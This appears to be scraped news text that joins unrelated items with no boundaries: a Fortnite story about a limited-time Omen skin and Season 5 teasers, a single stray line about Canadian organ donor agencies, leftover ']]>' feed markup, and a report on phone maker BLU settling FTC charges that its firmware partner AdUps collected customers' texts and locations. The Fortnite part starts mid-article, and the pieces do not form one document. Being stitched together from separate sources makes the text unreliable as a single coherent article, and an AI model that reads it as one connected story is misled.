To add the new pieces to your collection, fans will need to head over to the Fortnite shop within the next 48hrs.
After that, the new items will be swapped out by other skins and cosmetics, with no confirmed date for their return.
Most skins do eventually cycle back in via Epic Games’ popular online shop, but it could be away for a while.
It should be noted that while the Omen skin may catch the eye of players for its unique look, it won’t add much else.
The Legendary outfit does not harbour any special abilities, with Epic Games make it clear that everything in their store is cosmetic only.
Dataminers actually found the Omen skin before its release, hiding in one of the game’s most recent updates.
Fans also found another skin called Fate, which looks set to be released later this month.
It follows news that Fortnite developer Epic Games has dropped a huge hint about Battle Royale season 5.
Eagle-eyed Nintendo Switch players have spotted a brand new countdown clock on television sets within the game.
Currently only appearing on Nintendo Switch (via FortniteInsider), it’s believed the clocks are linked to the mysterious Visitor character.
The latest hidden loading screen featured an image of the Visitor preparing to launch a rocket.
A rocket hologram can also be spotted in the super villain lair within the Battle Royale map.
It’s possible Epic Games will release a brand new post-apocalyptic map for the next season/
The countdown timer comes to an end on Tuesday, so expect to find out more after the release of the next update.
Something similar happened during the transition between Season 3 and Season 4.
More teasers are expected to be shared by Epic Games in the coming weeks.
Canada’s largest organ donor agencies are urging the federal government to take action to promote and manage organ donor registration at the national level.
]]>
Phone maker BLU is settling charges that it allowed a China-based partner to collect a mountain of customers’ personal data—including full content of text messages, real-time locations, telephone numbers, contacts, and installed apps—despite promises it would keep such details private.
Under a settlement with the US Federal Trade Commission announced Monday, BLU agreed to implement a “comprehensive data-security program” to prevent similar privacy leaks in the future. Both the company as a whole and co-owner and president Samuel Ohev-Zion are barred from misrepresenting the extent to which they protect the privacy and security of personal information. The company further will be subject to third-party assessments of its security program every two years for 20 years and must comply with record-keeping and compliance-monitoring requirements.
The settlement stems from research published in November 2016 by security firm Kryptowire. It found that BLU phones were transmitting a massive amount of private customer data to AdUps Technologies, a Shanghai-based provider of firmware that ran on the affected devices. Kryptowire said AdUps appeared to gather the data to help phone manufacturers and carriers track the behavior of their customers for advertising purposes.
]]>